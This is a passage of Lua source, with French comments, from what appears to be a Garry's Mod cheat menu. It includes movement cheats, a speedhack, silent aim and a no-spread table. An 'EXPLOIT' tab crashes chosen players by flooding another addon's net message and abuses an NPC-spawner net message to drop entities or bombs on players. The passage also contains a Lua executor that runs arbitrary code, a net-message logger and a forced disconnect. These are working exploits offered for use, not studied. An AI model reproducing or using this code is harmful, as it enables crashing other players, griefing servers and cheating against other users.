            surface.SetDrawColor(40, 40, 40)  -- Arrière-plan de la fenêtre
            surface.DrawRect(0, 0, w, h)
            surface.SetDrawColor(200, 200, 200)
            surface.DrawOutlinedRect(0, 0, w, h)
        end

        -- Créer des cases à cocher spécifiques pour chaque option
        if title == "Bunnyhop" then
            CreateCustomCheckbox(settingsFrame, 15, 30, "Bunny Duck", "BUNNYHOP_OPTION_1", function(state)
                -- Code à exécuter lorsque l'état de "Option 1" change
            end)
        elseif title == "Fast Walk" then
            CreateCustomCheckbox(settingsFrame, 15, 30, "Fast Walk Option 1", "FASTWALK_OPTION_1", function(state)
                -- Code à exécuter lorsque l'état de "Option 1" change
            end)
        elseif title == "Air Stuck" then
            CreateCustomCheckbox(settingsFrame, 15, 30, "TOUCHE :", "AIRSTUCK_OPTION_1", function(state)
                -- Code à exécuter lorsque l'état de "Option 1" change
            end)
        elseif title == "WARP" then
            CreateCustomCheckbox(settingsFrame, 15, 30, "WARP Option 1", "WARP_OPTION_1", function(state)
                -- Code à exécuter lorsque l'état de "Option 1" change
            end)
            CreateCustomCheckbox(settingsFrame, 15, 60, "WARP Option 2", "WARP_OPTION_2", function(state)
                -- Code à exécuter lorsque l'état de "Option 2" change
            end)
        elseif title == "SPEEDHACK" then
            CreateCustomCheckbox(settingsFrame, 15, 30, "SPEEDHACK Option 1", "SPEEDHACK_OPTION_1", function(state)
                -- Code à exécuter lorsque l'état de "Option 1" change
            end)
        end
    end

    -- Ajouter les roues ⚙ à côté de chaque option spécifique
    addGearIcon(15, 30, "Bunnyhop")
    addGearIcon(15, 60, "Fast Walk")
    addGearIcon(15, 90, "Air Stuck")
    addGearIcon(15, 120, "WARP")
    addGearIcon(15, 150, "SPEEDHACK")
end

            
			-- local entityBox
			-- local DisconnectBox
			if category.name == "EXPLOIT" then
				local titleLabel = vgui.Create("DLabel", contentPanel)
				titleLabel:SetPos(20, 30)
				titleLabel:SetSize(200, 30)
				titleLabel:SetText("ADVSTEALER + CRASHER")
				titleLabel:SetFont("Trebuchet18")
				titleLabel:SetTextColor(Color(255, 255, 255))

				local playerTree = vgui.Create("DTree", contentPanel)
				playerTree:SetSize(200, 375)
				playerTree:SetPos(10, 60)

				playerTree.Paint = function(self, w, h)
					draw.RoundedBox(8, 0, 0, w, h, Color(40, 40, 40))
				end

				local function RefreshPlayerTree()
					playerTree:Clear()

					local mainNode = playerTree:AddNode("Players", "icon16/group.png")
					mainNode:SetExpanded(true)

					for _, ply in ipairs(player.GetAll()) do
						local plyNode = mainNode:AddNode(ply:Nick(), "icon16/user.png")
						
						plyNode.DoRightClick = function()
							local options = DermaMenu()

							options.Paint = function(self, w, h)
								draw.RoundedBox(8, 0, 0, w, h, Color(40, 40, 40)) -- Gris foncé
							end

							options:AddOption("Copy SteamID", function()
								SetClipboardText(ply:SteamID())
								notification.AddLegacy("Copied SteamID!", NOTIFY_HINT, 3)
							end):SetIcon("icon16/page_copy.png")
							options:AddSpacer()
							options:AddOption("Save Base", function()
								OpenFileNameDialog(ply)
							end):SetIcon("icon16/disk.png")
							options:AddSpacer()
							options:AddOption("Crash Player", function()
                                for i = 1, 100 do
                                    net.Start("GimmeThatScreen_Provide")
                                    net.WriteBool(true)
                                    net.WriteString(100)
                                    net.WriteEntity(Entity(ply:EntIndex()))
                                    net.WriteUInt(2, 13)
                                    net.WriteString("Local")
                                    net.SendToServer()
                                end
							end):SetIcon("icon16/monitor_delete.png")
							options:AddSpacer()
							options:AddOption("Spawn Entity on Player", function()
								local entityName = entityBox:GetValue()

								if entityName == "" then
									notification.AddLegacy("Please enter an entity class!", NOTIFY_ERROR, 3)
									return
								end

								local spawnPos = ply:GetPos() + Vector(0,0,50)

								net.Start("vj_npcspawner_sv_create")
								net.WriteTable({
									vjstool_npcspawner_spawnentname = 0,
									vjstool_npcspawner_spawnpos_right = 0,
									vjstool_npcspawner_weaponequipname = 0,
									vjstool_npcspawner_weaponequip = 0,
									vjstool_npcspawner_spawnpos_forward = 0,
									vjstool_npcspawner_fritoplyallies = 1,
									vjstool_npcspawner_playsound = 0,
									vjstool_npcspawner_spawnnpclass = 0,
									vjstool_npcspawner_spawnent = 0,
									vjstool_npcspawner_nextspawntime = 0,
									vjstool_npcspawner_spawnpos_up = 0,
								})
								net.WriteVector(spawnPos)
								net.WriteUInt(5, 8)
								net.WriteTable({
									{
										SpawnPosition = Vector(0, 0, 0),
										Entities = entityName,
										Relationship = {
											FriToPlyAllies = "1",
											Class = "",
										},
										WeaponsList = "",
									},
								})
								net.WriteString("LeftClick")
								net.SendToServer()

								notification.AddLegacy("Entity spawned on " .. ply:Nick(), NOTIFY_HINT, 3)
							end):SetIcon("icon16/add.png")
							options:AddSpacer()

							options:AddOption("Spawn Bomb on Player", function()
								local entityName = ""

								if entityName == "" then
									notification.AddLegacy("Please enter an entity class!", NOTIFY_ERROR, 3)
									return
								end

								local spawnPos = ply:GetPos() + Vector(0,0,500)

								net.Start("vj_npcspawner_sv_create")
								net.WriteTable({
									vjstool_npcspawner_spawnentname = 0,
									vjstool_npcspawner_spawnpos_right = 0,
									vjstool_npcspawner_weaponequipname = 0,
									vjstool_npcspawner_weaponequip = 0,
									vjstool_npcspawner_spawnpos_forward = 0,
									vjstool_npcspawner_fritoplyallies = 1,
									vjstool_npcspawner_playsound = 0,
									vjstool_npcspawner_spawnnpclass = 0,
									vjstool_npcspawner_spawnent = 0,
									vjstool_npcspawner_nextspawntime = 0,
									vjstool_npcspawner_spawnpos_up = 0,
								})
								net.WriteVector(spawnPos)
								net.WriteUInt(5, 8)
								net.WriteTable({
									{
										SpawnPosition = Vector(0, 0, 0),
										Entities = entityName,
										Relationship = {
											FriToPlyAllies = "1",
											Class = "",
										},
										WeaponsList = "",
									},
								})
								net.WriteString("LeftClick")
								net.SendToServer()

								notification.AddLegacy("Bomb spawned on " .. ply:Nick(), NOTIFY_HINT, 3)
							end):SetIcon("icon16/bomb.png")
							options:AddSpacer()
							if targetspec == ply then
								options:AddOption("UnSpectate", function()
									targetspec = nil
									spec = false
									notification.AddLegacy("Stopped spectating " .. ply:Nick(), NOTIFY_HINT, 3)
								end):SetIcon("icon16/camera_delete.png")
							else
								options:AddOption("Spectate", function()
									if IsValid(ply) then
										targetspec = ply
										spec = true
										notification.AddLegacy("Now spectating " .. ply:Nick(), NOTIFY_HINT, 3)
									else
										notification.AddLegacy("ERROR: Player not valid", NOTIFY_ERROR, 3)
									end
								end):SetIcon("icon16/camera_go.png")
							end
							
							options:Open()
						end
					end
				end

				RefreshPlayerTree()

				timer.Create("PlayerTreeAutoRefresh", 5, 0, function()
					if IsValid(playerTree) and contentPanel:IsVisible() then
						RefreshPlayerTree()
					else
						timer.Remove("PlayerTreeAutoRefresh")
					end
				end)

				local EntityGiveLabel = vgui.Create("DLabel", contentPanel)
				EntityGiveLabel:SetPos(220, 30)
				EntityGiveLabel:SetSize(200, 30)
				EntityGiveLabel:SetText("GIVE ENTITY")
				EntityGiveLabel:SetFont("Trebuchet18")
				EntityGiveLabel:SetTextColor(Color(255, 255, 255))

				local EntityGiveBackground = vgui.Create("DPanel", contentPanel)
				EntityGiveBackground:SetSize(250, 75)
				EntityGiveBackground:SetPos(202, 55)
				EntityGiveBackground.Paint = function(self, w, h)
					draw.RoundedBox(10, 0, 0, w, h, Color(40, 40, 40))
					draw.RoundedBox(10, 2, 2, w - 4, h - 4, Color(40, 40, 40))
				end

				entityBox = vgui.Create("DTextEntry", EntityGiveBackground)
				entityBox:SetSize(220, 30)
				entityBox:SetPos(15, 10)
				entityBox:SetFont("Trebuchet18")
				entityBox:SetPlaceholderText("Entrez la classe de l'entité à spawn")
				entityBox.Paint = function(self, w, h)
					draw.RoundedBox(6, 0, 0, w, h, Color(40, 40, 40))
					self:DrawTextEntryText(Color(255, 255, 255), Color(30, 130, 255), Color(255, 255, 255))
					if self:GetText() == "" then
						draw.SimpleText(self:GetPlaceholderText(), self:GetFont(), 5, h / 2, Color(200, 200, 200), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
					end
				end

				local spawnButton = vgui.Create("DButton", EntityGiveBackground)
				spawnButton:SetSize(220, 25)
				spawnButton:SetPos(15, 50)
				spawnButton:SetFont("Trebuchet18")
				spawnButton:SetText("Spawn l'entité")
				spawnButton:SetTextColor(Color(255, 255, 255))
				spawnButton.Paint = function(self, w, h)
					if self:IsHovered() then
						draw.RoundedBox(10, 0, 0, w, h, Color(50, 50, 50))
					else
						draw.RoundedBox(10, 0, 0, w, h, Color(40, 40, 40))
					end
				end
				spawnButton.DoClick = function()
					local position

					if freecamEnabled then
						position = freecamPos
					else
						position = LocalPlayer():GetPos()
					end
					
					local text1 = entityBox:GetValue()
					local text2 = ""

					net.Start("vj_npcspawner_sv_create")
					net.WriteTable({
						vjstool_npcspawner_spawnentname = 0,
						vjstool_npcspawner_spawnpos_right = 0,
						vjstool_npcspawner_weaponequipname = 0,
						vjstool_npcspawner_weaponequip = 0,
						vjstool_npcspawner_spawnpos_forward = 0,
						vjstool_npcspawner_fritoplyallies = 1,
						vjstool_npcspawner_playsound = 0,
						vjstool_npcspawner_spawnnpclass = 0,
						vjstool_npcspawner_spawnent = 0,
						vjstool_npcspawner_nextspawntime = 0,
						vjstool_npcspawner_spawnpos_up = 0,
					})
					net.WriteVector(position)
					net.WriteUInt(5, 8)
					net.WriteTable({
						{
							SpawnPosition = Vector(0, 0, 0),
							Entities = text1,
							Relationship = {
								FriToPlyAllies = "1",
								Class = "",
							},
							WeaponsList = text2,
						},
					})
					net.WriteString("LeftClick")
					net.SendToServer()
				end
				--------------------------------------------------------
				local DisconnectLabel = vgui.Create("DLabel", contentPanel)
				DisconnectLabel:SetPos(220, 150)
				DisconnectLabel:SetSize(200, 30)
				DisconnectLabel:SetText("Disconnect")
				DisconnectLabel:SetFont("Trebuchet18")
				DisconnectLabel:SetTextColor(Color(255, 255, 255))

				local DisconnectBackground = vgui.Create("DPanel", contentPanel)
				DisconnectBackground:SetSize(250, 75)
				DisconnectBackground:SetPos(202, 180)
				DisconnectBackground.Paint = function(self, w, h)
					draw.RoundedBox(10, 0, 0, w, h, Color(40, 40, 40))
					draw.RoundedBox(10, 2, 2, w - 4, h - 4, Color(40, 40, 40))
				end

				DisconnectBox = vgui.Create("DTextEntry", DisconnectBackground)
				DisconnectBox:SetSize(220, 30)
				DisconnectBox:SetPos(15, 10)
				DisconnectBox:SetFont("Trebuchet18")
				DisconnectBox:SetPlaceholderText("Entrez la raison de disconnect.")
				DisconnectBox.Paint = function(self, w, h)
					draw.RoundedBox(6, 0, 0, w, h, Color(40, 40, 40))
					self:DrawTextEntryText(Color(255, 255, 255), Color(30, 130, 255), Color(255, 255, 255))
					if self:GetText() == "" then
						draw.SimpleText(self:GetPlaceholderText(), self:GetFont(), 5, h / 2, Color(200, 200, 200), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
					end
				end

				local DisconnectButton = vgui.Create("DButton", DisconnectBackground)
				DisconnectButton:SetSize(220, 25)
				DisconnectButton:SetPos(15, 50)
				DisconnectButton:SetFont("Trebuchet18")
				DisconnectButton:SetText("Disconnect")
				DisconnectButton:SetTextColor(Color(255, 255, 255))
				DisconnectButton.Paint = function(self, w, h)
					if self:IsHovered() then
						draw.RoundedBox(10, 0, 0, w, h, Color(50, 50, 50))
					else
						draw.RoundedBox(10, 0, 0, w, h, Color(40, 40, 40))
					end
				end
				DisconnectButton.DoClick = function()
					local text1 = DisconnectBox:GetValue()
					ded.NetDisconnect(text1)
				end
			end

            if category.name == "LUA EXECUTOR" then
                local luaExecutorPanel = vgui.Create("DPanel", contentPanel)
                luaExecutorPanel:SetSize(930, 425)
                luaExecutorPanel:SetPos(5, 30)
                luaExecutorPanel.Paint = function(self, w, h)
                    draw.RoundedBox(10, 0, 0, w, h, Color(40, 40, 40))
                    draw.RoundedBox(10, 2, 2, w - 4, h - 4, Color(40, 40, 40))
                end

                local luaTextEntry = vgui.Create("DTextEntry", luaExecutorPanel)
                luaTextEntry:SetSize(930, 360)
                luaTextEntry:SetPos(5, 10)
                luaTextEntry:SetFont("Trebuchet18")
                luaTextEntry:SetPlaceholderText("")
                luaTextEntry:SetMultiline(true)
                luaTextEntry.Paint = function(self, w, h)
                    draw.RoundedBox(6, 0, 0, w, h, Color(40, 40, 40))
                    self:DrawTextEntryText(Color(255, 255, 255), Color(30, 130, 255), Color(255, 255, 255))
                    if self:GetText() == "" then
                        draw.SimpleText(self:GetPlaceholderText(), self:GetFont(), 5, h / 2, Color(200, 200, 200), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
                    end
                end

                local executeLuaButton = vgui.Create("DButton", luaExecutorPanel)
                executeLuaButton:SetSize(930, 30)
                executeLuaButton:SetPos(5, 380)
                executeLuaButton:SetFont("Trebuchet18")
                executeLuaButton:SetText("Exécuter le code Lua")
                executeLuaButton:SetTextColor(Color(255, 255, 255))
                executeLuaButton.Paint = function(self, w, h)
                    if self:IsHovered() then
                        draw.RoundedBox(10, 0, 0, w, h, Color(50, 50, 50))
                    else
                        draw.RoundedBox(10, 0, 0, w, h, Color(40, 40, 40))
                    end
                end
                executeLuaButton.DoClick = function()
                    local luaCode = luaTextEntry:GetValue()
                    if luaCode == "" then
                        notification.AddLegacy("Vous devez entrer du code Lua !", NOTIFY_ERROR, 3)
                        surface.PlaySound("buttons/button10.wav")
                        return
                    end

                    local success, err = pcall(function()
                        RunString(luaCode)
                    end)

                    if success then
                        notification.AddLegacy("Code exécuté avec succès !", NOTIFY_HINT, 3)
                    else
                        notification.AddLegacy("Erreur dans le code Lua : " .. err, NOTIFY_ERROR, 3)
                        surface.PlaySound("buttons/button10.wav")
                    end
                end
            end
			if category.name == "NET LOGGER" then
				local netMessageTable = {}

				local function addNetMessageToPanel(panel, netmsg)
					local name = string.Explode("\n", netmsg)[1]
					if not netMessageTable[name] then
						local category = panel:Add("DCollapsibleCategory")
						category:SetLabel(name)
						category:SetExpanded(false)
						category:Dock(TOP)
						category:DockMargin(2, 5, 2, 5)
						category.Paint = function(self, w, h)
							draw.RoundedBox(3, 0, 0, w, h, Color(40, 40, 40))
						end

						local countLabel = vgui.Create("DLabel", category)
						countLabel:SetFont("Trebuchet18")
						countLabel:SetTextColor(Color(255, 255, 255))
						countLabel:SetText("COUNT: 1")
						countLabel:SetPos(700, 0)
						countLabel:SetSize(100, 20)

						local scrollPanel = vgui.Create("DScrollPanel", category)
						category:SetContents(scrollPanel)

						netMessageTable[name] = {panel = category, count = 1, countLabel = countLabel, scrollPanel = scrollPanel}

						local messageBox = vgui.Create("DTextEntry", scrollPanel)
						messageBox:SetMultiline(true)
						messageBox:SetWide(850)
						messageBox:Dock(TOP)
						messageBox:DockMargin(3, 2, 3, 2)
						messageBox:SetText(netmsg)

						messageBox.PerformLayout = function(self)
							local lines = string.Explode("\n", self:GetText() or "")
							surface.SetFont(self:GetFont() or "Default")
							local _, lineHeight = surface.GetTextSize("Test")
							local totalHeight = #lines * lineHeight
							self:SetTall(math.Clamp(totalHeight, 60, 150))
						end

						messageBox.Paint = function(self, w, h)
							draw.RoundedBox(4, 0, 0, w, h, Color(40, 40, 40))
							surface.SetDrawColor(40, 40, 40)
							surface.DrawOutlinedRect(0, 0, w, h)
							self:DrawTextEntryText(Color(255, 255, 255), Color(30, 130, 255), Color(255, 255, 255))
						end
					else
						local entry = netMessageTable[name]
						entry.count = entry.count + 1
						entry.countLabel:SetText("COUNT: " .. entry.count)

						local messageBox = vgui.Create("DTextEntry", entry.scrollPanel)
						messageBox:SetMultiline(true)
						messageBox:SetWide(850)
						messageBox:Dock(TOP)
						messageBox:DockMargin(3, 2, 3, 2)
						messageBox:SetText(netmsg)

						messageBox.PerformLayout = function(self)
							local lines = string.Explode("\n", self:GetText() or "")
							surface.SetFont(self:GetFont() or "Default")
							local _, lineHeight = surface.GetTextSize("Test")
							local totalHeight = #lines * lineHeight
							self:SetTall(math.Clamp(totalHeight, 60, 150))
						end

						messageBox.Paint = function(self, w, h)
							draw.RoundedBox(4, 0, 0, w, h, Color(40, 40, 40))
							surface.SetDrawColor(40, 40, 40)
							surface.DrawOutlinedRect(0, 0, w, h)
							self:DrawTextEntryText(Color(255, 255, 255), Color(30, 130, 255), Color(255, 255, 255))
						end
					end
				end

				local netLoggerPanel = vgui.Create("DScrollPanel", contentPanel)
				netLoggerPanel:SetSize(contentPanel:GetWide() - 20, contentPanel:GetTall() - 60)
				netLoggerPanel:SetPos(10, 30)
				netLoggerPanel.Paint = function(self, w, h)
					draw.RoundedBox(0, 0, 0, w, h, Color(40, 40, 40))
				end

				VARhooks("LoggedNetMessage", function(netmsg)
					if IsValid(netLoggerPanel) then
						addNetMessageToPanel(netLoggerPanel, netmsg)
					end
				end)
			end
            table.insert(contentPanels, contentPanel)
        end
    end
end

--		 :::::::::  :::    ::: :::        :::        :::::::::: :::::::::::  ::::::::::: :::::::::      :::      ::::::::  :::::::::: :::::::::  
--		 :+:    :+: :+:    :+: :+:        :+:        :+:            :+:          :+:     :+:    :+:   :+: :+:   :+:    :+: :+:        :+:    :+: 
--		 +:+    +:+ +:+    +:+ +:+        +:+        +:+            +:+          +:+     +:+    +:+  +:+   +:+  +:+        +:+        +:+    +:+ 
--		 +#++:++#+  +#+    +:+ +#+        +#+        +#++:++#       +#+          +#+     +#++:++#:  +#++:++#++: +#+        +#++:++#   +#++:++#:  
--		 +#+    +#+ +#+    +#+ +#+        +#+        +#+            +#+          +#+     +#+    +#+ +#+     +#+ +#+        +#+        +#+    +#+ 
--		 #+#    #+# #+#    #+# #+#        #+#        #+#            #+#          #+#     #+#    #+# #+#     #+# #+#    #+# #+#        #+#    #+# 
--		 #########   ########  ########## ########## ##########     ###          ###     ###    ### ###     ###  ########  ########## ###    ###

VARhooks("OnImpact", function(data)
    var.bulletImpacts[#var.bulletImpacts + 1] = {
        shootTime = CurTime(),
        startPos = data.m_vStart,
        endPos = data.m_vOrigin,
        alpha = 255
    }
end)

VARhooks("PostDrawOpaqueRenderables", function()
    if ftg.vars["VIOL_BULLETTRACER"] then
        local tracerColor = Color(100.5, 0, 171, 200)
        local currentTime = CurTime()
        local r = math.abs(math.sin(currentTime * 1.5)) * 255
        local g = math.abs(math.sin(currentTime * 1.0)) * 255
        local b = math.abs(math.sin(currentTime * 2.0)) * 255
        local color = Color(r, g, b, 255)
        local DieTime = 0.5
        local maxRadius = 6

        for i = #var.bulletImpacts, 1, -1 do
            local impact = var.bulletImpacts[i]
            local timeElapsed = currentTime - impact.shootTime
            local timeLeft = DieTime - timeElapsed

            if timeLeft <= 0 then
                table.remove(var.bulletImpacts, i)
            else
                local fadeFactor = timeLeft / DieTime
                fadeFactor = math.Clamp(fadeFactor, 0, 1)
                tracerColor.a = fadeFactor * 255

                local adjustedAlpha = math.Clamp(fadeFactor * 255, 0, 255)
                tracerColor.a = adjustedAlpha
                render.SetMaterial(Material("trails/laser"))
                if material == "nayl" then
                    render.DrawBeam(impact.startPos + Vector(0, 0, -2), impact.endPos, 2, 1, 1, color)
                else
                    render.DrawBeam(impact.startPos + Vector(0, 0, -2), impact.endPos, 2, 1, 1, tracerColor)
                end


                local hitNormal = (impact.endPos - impact.startPos):GetNormalized()
                local radius = maxRadius * fadeFactor

                local right = hitNormal:Cross(Vector(0, 0, 1)):GetNormalized()
                if right:Length() < 0.01 then
                    right = hitNormal:Cross(Vector(0, 1, 0)):GetNormalized()
                end
                local up = right:Cross(hitNormal):GetNormalized()

                local pos = impact.endPos
                render.SetMaterial(shoteffects)
                render.DrawSprite(pos, radius * 2, radius * 2)
            end
        end
    end
end)

--	 ::::    ::::   ::::::::  :::     :::     :::::::::: ::::::::::: :::    ::: 
--	 +:+:+: :+:+:+ :+:    :+: :+:     :+:     :+:            :+:     :+:    :+: 
--	 +:+ +:+:+ +:+ +:+    +:+ +:+     +:+     +:+            +:+      +:+  +:+  
--	 +#+  +:+  +#+ +#+    +:+ +#+     +:+     :#::+::#       +#+       +#++:+   
--	 +#+       +#+ +#+    +#+  +#+   +#+      +#+            +#+      +#+  +#+  
--	 #+#       #+# #+#    #+#   #+#+#+#       #+#            #+#     #+#    #+# 
--	 ###       ###  ########      ###         ###        ########### ###    ###

function MovementFix(cmd, wish_yaw)
    local pitch = math.NormalizeAngle(cmd:GetViewAngles().x)
    local inverted = -1

    if (pitch > 89 or pitch < -89) then
        inverted = 1
    end

    local ang_diff = math.rad(math.NormalizeAngle((cmd:GetViewAngles().y - wish_yaw) * inverted))
    local forwardmove = cmd:GetForwardMove()
    local sidemove = cmd:GetSideMove()

    local new_forwardmove = forwardmove * -math.cos(ang_diff) * inverted + sidemove * math.sin(ang_diff)
    local new_sidemove = forwardmove * math.sin(ang_diff) * inverted + sidemove * math.cos(ang_diff)

    cmd:SetForwardMove(new_forwardmove)
    cmd:SetSideMove(new_sidemove)
end

--		  ::::::::  ::::::::::: :::        :::::::::: ::::    ::: ::::::::::: 
--		 :+:    :+:     :+:     :+:        :+:        :+:+:   :+:     :+:     
--		 +:+            +:+     +:+        +:+        :+:+:+  +:+     +:+     
--		 +#++:++#++     +#+     +#+        +#++:++#   +#+ +:+ +#+     +#+     
--		        +#+     +#+     +#+        +#+        +#+  +#+#+#     +#+     
--		 #+#    #+#     #+#     #+#        #+#        #+#   #+#+#     #+#     
--		  ########  ########### ########## ########## ###    ####     ###

function Silent(cmd)
	if !var.fa then var.fa = cmd:GetViewAngles() end
	var.fa = var.fa + Angle(cmd:GetMouseY() * GetConVarNumber("m_yaw"), cmd:GetMouseX() * -GetConVarNumber("m_yaw"), 0)
	var.fa.p = math.Clamp(var.fa.p, -89, 89)
    var.fa.r = 0
    var.fa:Normalize()
end

--		 ::::    :::  ::::::::        ::::::::  :::::::::  :::::::::  ::::::::::     :::     :::::::::  
--		 :+:+:   :+: :+:    :+:      :+:    :+: :+:    :+: :+:    :+: :+:          :+: :+:   :+:    :+: 
--		 :+:+:+  +:+ +:+    +:+      +:+        +:+    +:+ +:+    +:+ +:+         +:+   +:+  +:+    +:+ 
--		 +#+ +:+ +#+ +#+    +:+      +#++:++#++ +#++:++#+  +#++:++#:  +#++:++#   +#++:++#++: +#+    +:+ 
--		 +#+  +#+#+# +#+    +#+             +#+ +#+        +#+    +#+ +#+        +#+     +#+ +#+    +#+ 
--		 #+#   #+#+# #+#    #+#      #+#    #+# #+#        #+#    #+# #+#        #+#     #+# #+#    #+# 
--		 ###    ####  ########        ########  ###        ###    ### ########## ###     ### #########

local SPR = {}

SPR.engineSpread = {
    [0] = {-0.492036, 0.286111},
    [1] = {-0.492036, 0.286111},
    [2] = {-0.255320, 0.128480},
    [3] = {0.456165, 0.356030},
    [4] = {-0.361731, 0.406344},
    [5] = {-0.146730, 0.834589},
    [6] = {-0.253288, -0.421936},
    [7] = {-0.448694, 0.111650},
    [8] = {-0.880700, 0.904610},
    [9] = {-0.379932, 0.138833},
    [10] = {0.502579, -0.494285},
    [11] = {-0.263847, -0.594805},
    [12] = {0.818612, 0.090368},
    [13] = {-0.063552, 0.044356},
    [14] = {0.490455, 0.304820},
    [15] = {-0.192024, 0.195162},
    [16] = {-0.139421, 0.857106},
    [17] = {0.715745, 0.336956},
    [18] = {-0.150103, -0.044842},
    [19] = {-0.176531, 0.275787},
    [20] = {0.155707, -0.152178},
    [21] = {-0.136486, -0.591896},
    [22] = {-0.021022, -0.761979},
    [23] = {-0.166004, -0.733964},
    [24] = {-0.102439, -0.132059},
    [25] = {-0.607531, -0.249979},
    [26] = {-0.500855, -0.185902},
    [27] = {-0.080884, 0.516556},
    [28] = {-0.003334, 0.138612},
    [29] = {-0.546388, -0.000115},
    [30] = {-0.228092, -0.018492},
    [31] = {0.542539, 0.543196},
    [32] = {-0.355162, 0.197473},
    [33] = {-0.041726, -0.015735},
    [34] = {-0.713230, -0.551701},
    [35] = {-0.045056, 0.090208},
    [36] = {0.061028, 0.417744},
    [37] = {-0.171149, -0.048811},
    [38] = {0.241499, 0.164562},
    [39] = {-0.129817, -0.111200},
    [40] = {0.007366, 0.091429},
    [41] = {-0.079268, -0.008285},
    [42] = {0.010982, -0.074707},
    [43] = {-0.517782, -0.682470},
    [44] = {-0.663822, -0.024972},
    [45] = {0.058213, -0.078307},
    [46] = {-0.302041, -0.132280},
    [47] = {0.217689, -0.209309},
    [48] = {-0.143615, 0.830349},
    [49] = {0.270912, 0.071245},
    [50] = {-0.258170, -0.598358},
    [51] = {0.099164, -0.257525},
    [52] = {-0.214676, -0.595918},
    [53] = {-0.427053, -0.523764},
    [54] = {-0.585472, 0.088522},
    [55] = {0.564305, -0.533822},
    [56] = {-0.387545, -0.422206},
    [57] = {0.690505, -0.299197},
    [58] = {0.475553, 0.169785},
    [59] = {0.347436, 0.575364},
    [60] = {-0.069555, -0.103340},
    [61] = {0.286197, -0.618916},
    [62] = {-0.505259, 0.106581},
    [63] = {-0.420214, -0.714843},
    [64] = {0.032596, -0.401891},
    [65] = {-0.238702, -0.087387},
    [66] = {0.714358, 0.197811},
    [67] = {0.208960, 0.319015},
    [68] = {-0.361140, 0.222130},
    [69] = {-0.133284, -0.492274},
    [70] = {0.022824, -0.133955},
    [71] = {-0.100850, 0.271962},
    [72] = {-0.050582, -0.319538},
    [73] = {0.577980, 0.095507},
    [74] = {0.224871, 0.242213},
    [75] = {-0.628274, 0.097248},
    [76] = {0.184266, 0.091959},
    [77] = {-0.036716, 0.474259},
    [78] = {-0.502566, -0.279520},
    [79] = {-0.073201, -0.036658},
    [80] = {0.339952, -0.293667},
    [81] = {0.042811, 0.130387},
    [82] = {0.125881, 0.007040},
    [83] = {0.138374, -0.418355},
    [84] = {0.261396, -0.392697},
    [85] = {-0.453318, -0.039618},
    [86] = {0.890159, -0.335165},
    [87] = {0.466437, -0.207762},
    [88] = {0.593253, 0.418018},
    [89] = {0.566934, -0.643837},
    [90] = {0.150918, 0.639588},
    [91] = {0.150112, 0.215963},
    [92] = {-0.130520, 0.324801},
    [93] = {-0.369819, -0.019127},
    [94] = {-0.038889, -0.650789},
    [95] = {0.490519, -0.065375},
    [96] = {-0.305940, 0.454759},
    [97] = {-0.521967, -0.550004},
    [98] = {-0.040366, 0.683259},
    [99] = {0.137676, -0.376445},
    [100] = {0.839301, 0.085979},
    [101] = {-0.319140, 0.481838},
    [102] = {0.201437, -0.033135},
    [103] = {0.384637, -0.036685},
    [104] = {0.598419, 0.144371},
    [105] = {-0.061424, -0.608645},
    [106] = {-0.065337, 0.308992},
    [107] = {-0.029356, -0.634337},
    [108] = {0.326532, 0.047639},
    [109] = {0.505681, -0.067187},
    [110] = {0.691612, 0.629364},
    [111] = {-0.038588, -0.635947},
    [112] = {0.637837, -0.011815},
    [113] = {0.765338, 0.563945},
    [114] = {0.213416, 0.068664},
    [115] = {-0.576581, 0.554824},
    [116] = {0.246580, 0.132726},
    [117] = {0.385548, -0.070054},
    [118] = {0.538735, -0.291010},
    [119] = {0.609944, 0.590973},
    [120] = {-0.463240, 0.010302},
    [121] = {-0.047718, 0.741086},
    [122] = {0.308590, -0.322179},
    [123] = {-0.291173, 0.256367},
    [124] = {0.287413, -0.510402},
    [125] = {0.864716, 0.158126},
    [126] = {0.572344, 0.561319},
    [127] = {-0.090544, 0.332633},
    [128] = {0.644714, 0.196736},
    [129] = {-0.204198, 0.603049},
    [130] = {-0.504277, -0.641931},
    [131] = {0.218554, 0.343778},
    [132] = {0.466971, 0.217517},
    [133] = {-0.400880, -0.299746},
    [134] = {-0.582451, 0.591832},
    [135] = {0.421843, 0.118453},
    [136] = {-0.215617, -0.037630},
    [137] = {0.341048, -0.283902},
    [138] = {-0.246495, -0.138214},
    [139] = {0.214287, -0.196102},
    [140] = {0.809797, -0.498168},
    [141] = {-0.115958, -0.260677},
    [142] = {-0.025448, 0.043173},
    [143] = {-0.416803, -0.180813},
    [144] = {-0.782066, 0.335273},
    [145] = {0.192178, -0.151171},
    [146] = {0.109733, 0.165085},
    [147] = {-0.617935, -0.274392},
    [148] = {0.283301, 0.171837},
    [149] = {-0.150202, 0.048709},
    [150] = {-0.179954, -0.288559},
    [151] = {-0.288267, -0.134894},
    [152] = {-0.049203, 0.231717},
    [153] = {-0.065761, 0.495457},
    [154] = {0.082018, -0.457869},
    [155] = {-0.159553, 0.032173},
    [156] = {0.508305, -0.090690},
    [157] = {0.232269, -0.338245},
    [158] = {-0.374490, -0.480945},
    [159] = {-0.541244, 0.194144},
    [160] = {-0.040063, -0.073532},
    [161] = {0.136516, -0.167617},
    [162] = {-0.237350, 0.456912},
    [163] = {-0.446604, -0.494381},
    [164] = {0.078626, -0.020068},
    [165] = {0.163208, 0.600330},
    [166] = {-0.886186, -0.345326},
    [167] = {-0.732948, -0.689349},
    [168] = {0.460564, -0.719006},
    [169] = {-0.033688, -0.333340},
    [170] = {-0.325414, -0.111704},
    [171] = {0.010928, 0.723791},
    [172] = {0.713581, -0.077733},
    [173] = {-0.050912, -0.444684},
    [174] = {-0.268509, 0.381144},
    [175] = {-0.175387, 0.147070},
    [176] = {-0.429779, 0.144737},
    [177] = {-0.054564, 0.821354},
    [178] = {0.003205, 0.178130},
    [179] = {-0.552814, 0.199046},
    [180] = {0.225919, -0.195013},
    [181] = {0.056040, -0.393974},
    [182] = {-0.505988, 0.075184},
    [183] = {-0.510223, 0.156271},
    [184] = {-0.209616, 0.111174},
    [185] = {-0.605132, -0.117104},
    [186] = {0.412433, -0.035510},
    [187] = {-0.573947, -0.691295},
    [188] = {-0.712686, 0.021719},
    [189] = {-0.643297, 0.145307},
    [190] = {0.245038, 0.343062},
    [191] = {-0.235623, -0.159307},
    [192] = {-0.834004, 0.088725},
    [193] = {0.121377, 0.671713},
    [194] = {0.528614, 0.607035},
    [195] = {-0.285699, -0.111312},
